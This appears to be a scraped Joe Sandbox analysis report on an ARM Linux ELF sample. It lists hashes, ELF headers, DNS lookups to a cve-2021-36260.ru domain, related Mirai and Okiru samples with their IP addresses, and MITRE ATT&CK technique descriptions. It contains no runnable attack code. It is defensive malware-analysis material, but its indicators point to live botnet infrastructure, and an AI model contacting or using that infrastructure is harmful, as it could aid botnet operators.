SHA1:	2199CEC7E3D0D7B9DD00441533F8213BE4F799DA
SHA-256:	EE1B25C95BD8DD64089C3CE835471354CCED19F1157D234571AC9A5180AD190E
SHA-512:	ECD35A74D66D96541CF890906372237A3203FD773B9D594773C02A2098A8F0654FDE31C47D924107D9B933AF94AEF134DBDAF9B70B678BC8AF5960FAE5B1278A
Malicious:	false
Reputation:	low
Preview:	/tmp/pbnpvwfhco.elf.

Process:	/tmp/pbnpvwfhco.elf
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.8841837197791884
Encrypted:	false
SSDEEP:	3:TgtLMDNO3:TgSDm
MD5:	3A0D2AC31D04CAAFFE394B214A53B62A
SHA1:	2199CEC7E3D0D7B9DD00441533F8213BE4F799DA
SHA-256:	EE1B25C95BD8DD64089C3CE835471354CCED19F1157D234571AC9A5180AD190E
SHA-512:	ECD35A74D66D96541CF890906372237A3203FD773B9D594773C02A2098A8F0654FDE31C47D924107D9B933AF94AEF134DBDAF9B70B678BC8AF5960FAE5B1278A
Malicious:	false
Reputation:	low
Preview:	/tmp/pbnpvwfhco.elf.

Process:	/tmp/pbnpvwfhco.elf
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.8841837197791884
Encrypted:	false
SSDEEP:	3:TgtLMDNO3:TgSDm
MD5:	3A0D2AC31D04CAAFFE394B214A53B62A
SHA1:	2199CEC7E3D0D7B9DD00441533F8213BE4F799DA
SHA-256:	EE1B25C95BD8DD64089C3CE835471354CCED19F1157D234571AC9A5180AD190E
SHA-512:	ECD35A74D66D96541CF890906372237A3203FD773B9D594773C02A2098A8F0654FDE31C47D924107D9B933AF94AEF134DBDAF9B70B678BC8AF5960FAE5B1278A
Malicious:	false
Reputation:	low
Preview:	/tmp/pbnpvwfhco.elf.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CHINANET-BACKBONENo31Jin-rongStreetCN	akcqrfutuo.elf	Get hash	malicious	Unknown	Browse	118.181.205.70
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	58.55.249.121
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	1.92.85.225
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	113.114.250.80
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	182.138.210.241
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	220.191.238.13
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	220.164.195.155
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	113.94.88.45
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	182.96.150.214
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	113.244.75.111
9408US	x86.elf	Get hash	malicious	Mirai	Browse	148.13.205.111
	xd.arm.elf	Get hash	malicious	Mirai	Browse	148.15.231.50
	yakuza.i686.elf	Get hash	malicious	Mirai	Browse	148.14.24.125
	sora.ppc.elf	Get hash	malicious	Mirai	Browse	148.15.243.92
	yakuza.arm4.elf	Get hash	malicious	Unknown	Browse	148.11.93.33
	arm7.elf	Get hash	malicious	Mirai	Browse	148.15.243.32
	nuklear.arm.elf	Get hash	malicious	Mirai, Moobot	Browse	148.11.185.210
	arm6.elf	Get hash	malicious	Unknown	Browse	148.15.243.60
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	148.14.122.26
	mpsl.elf	Get hash	malicious	Mirai	Browse	148.11.87.102
LEVEL3US	akcqrfutuo.elf	Get hash	malicious	Unknown	Browse	4.43.18.245
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	11.59.144.197
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	9.34.186.152
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	11.135.199.28
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	11.14.208.34
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	9.235.110.66
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	4.215.197.41
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	7.238.62.111
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	9.98.56.220
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	4.125.68.32

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.162594350272092
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	pbnpvwfhco.elf
File size:	100'068 bytes
MD5:	46f3822f5c2b4da19caa265dcd7fb27d
SHA1:	9ab97fc022ed16b280e6011cb59d576d361e78c3
SHA256:	eeaeeef2dffd35994b6009c63922bd60a57446e30b2b4dfe8e0683efef39b7e1
SHA512:	9069c8b5438c34f6c8bc6603804046d6715a2ee6ecd1d49eca61b0e67f31dc796c8db21a1acdc9831c46d3aa0ca498ec92840ae86bd0c06ec3b511eb7d8487de
SSDEEP:	3072:xPRIzI/0Scsy+vpOU7+3GETdoT6tth/Enr:xizI/Wsy3U7+HT6TOhs
TLSH:	F0A31946BC809B15D5E052BAFE1E52CE33231BB8E2DA3202DD146F247BDB95E0E7B541
File Content Preview:	.ELF..............(.....l...4...........4. ...(........pt...t...t...................................<...<...............<...<...<...................Q.td.............................@-..@............/..@-.,@...0....S..... 0....S.........../..0...0...@..../

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x816c
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	4
Section Header Offset:	99468
Section Header Size:	40
Number of Section Headers:	15
Header String Table Index:	14

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0
.init	PROGBITS	0x80b4	0xb4	0x14	0x0	0x6	AX	0	1
.text	PROGBITS	0x80c8	0xc8	0x16858	0x0	0x6	AX	0	4
.fini	PROGBITS	0x1e920	0x16920	0x14	0x0	0x6	AX	0	1
.rodata	PROGBITS	0x1e938	0x16938	0x193c	0x0	0x2	A	0	8
.ARM.exidx	ARM_EXIDX	0x20274	0x18274	0xc8	0x0	0x82	AL	2	4
.eh_frame	PROGBITS	0x2833c	0x1833c	0x4	0x0	0x3	WA	0	4
.init_array	INIT_ARRAY	0x28340	0x18340	0x4	0x0	0x3	WA	0	4
.fini_array	FINI_ARRAY	0x28344	0x18344	0x4	0x0	0x3	WA	0	4
.jcr	PROGBITS	0x28348	0x18348	0x4	0x0	0x3	WA	0	4
.got	PROGBITS	0x2834c	0x1834c	0x28	0x4	0x3	WA	0	4
.data	PROGBITS	0x28374	0x18374	0x8c	0x0	0x3	WA	0	4
.bss	NOBITS	0x28400	0x18400	0x18d4	0x0	0x3	WA	0	8
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x18400	0x14	0x0	0x0		0	1
.shstrtab	STRTAB	0x0	0x18414	0x77	0x0	0x0		0	1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
EXIDX	0x18274	0x20274	0x20274	0xc8	0xc8	4.2999	0x4	R	0x4	.ARM.exidx
LOAD	0x0	0x8000	0x8000	0x1833c	0x1833c	6.1741	0x5	R E	0x8000	.init .text .fini .rodata .ARM.exidx
LOAD	0x1833c	0x2833c	0x2833c	0xc4	0x1998	4.3419	0x6	RW	0x8000	.eh_frame .init_array .fini_array .jcr .got .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 27, 2024 16:46:26.891119957 CET	1.1.1.1	192.168.2.14	0xd6f2	No error (0)	stun.l.google.com	74.125.250.129	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:46:28.218336105 CET	1.1.1.1	192.168.2.14	0x1f89	No error (0)	cve-2021-36260.ru		TXT (Text strings)	IN (0x0001)	false
Nov 27, 2024 16:46:28.218336105 CET	1.1.1.1	192.168.2.14	0x1f89	No error (0)	cve-2021-36260.ru		TXT (Text strings)	IN (0x0001)	false
Nov 27, 2024 16:46:28.218336105 CET	1.1.1.1	192.168.2.14	0x1f89	No error (0)	cve-2021-36260.ru		TXT (Text strings)	IN (0x0001)	false
Nov 27, 2024 16:46:28.218336105 CET	1.1.1.1	192.168.2.14	0x1f89	No error (0)	cve-2021-36260.ru		TXT (Text strings)	IN (0x0001)	false

Start time (UTC):	15:46:22
Start date (UTC):	27/11/2024
Path:	/tmp/pbnpvwfhco.elf
Arguments:	/tmp/pbnpvwfhco.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	15:46:25
Start date (UTC):	27/11/2024
Path:	/tmp/pbnpvwfhco.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report pbnpvwfhco.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0qb7jy (deleted)

/tmp/qemu-open.1iHXov (deleted)

/tmp/qemu-open.2ZEX0w (deleted)

/tmp/qemu-open.3J6t9x (deleted)

/tmp/qemu-open.3sCAZx (deleted)

/tmp/qemu-open.43rK0v (deleted)

/tmp/qemu-open.4rd6sw (deleted)

/tmp/qemu-open.4us73v (deleted)

/tmp/qemu-open.5v3gly (deleted)

/tmp/qemu-open.668MDy (deleted)

/tmp/qemu-open.7LBVWv (deleted)

/tmp/qemu-open.8AnNJx (deleted)

/tmp/qemu-open.9ss08u (deleted)

/tmp/qemu-open.9x87qy (deleted)

/tmp/qemu-open.9y1CLv (deleted)

/tmp/qemu-open.ADXc5x (deleted)

/tmp/qemu-open.B12rHv (deleted)

/tmp/qemu-open.BHpbKw (deleted)

/tmp/qemu-open.C3RCDy (deleted)

/tmp/qemu-open.D70zqy (deleted)

/tmp/qemu-open.D9SDXy (deleted)

/tmp/qemu-open.DIwc7v (deleted)

/tmp/qemu-open.EWj6Hx (deleted)

/tmp/qemu-open.F9m3Hv (deleted)

/tmp/qemu-open.G5W78w (deleted)

/tmp/qemu-open.H7GHkz (deleted)

/tmp/qemu-open.Hs4xmw (deleted)

/tmp/qemu-open.Hv6pDy (deleted)

/tmp/qemu-open.HzCizx (deleted)

/tmp/qemu-open.ImhREz (deleted)

/tmp/qemu-open.J6VHSy (deleted)

/tmp/qemu-open.JdBJbw (deleted)

Linux Analysis Report
pbnpvwfhco.elf

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre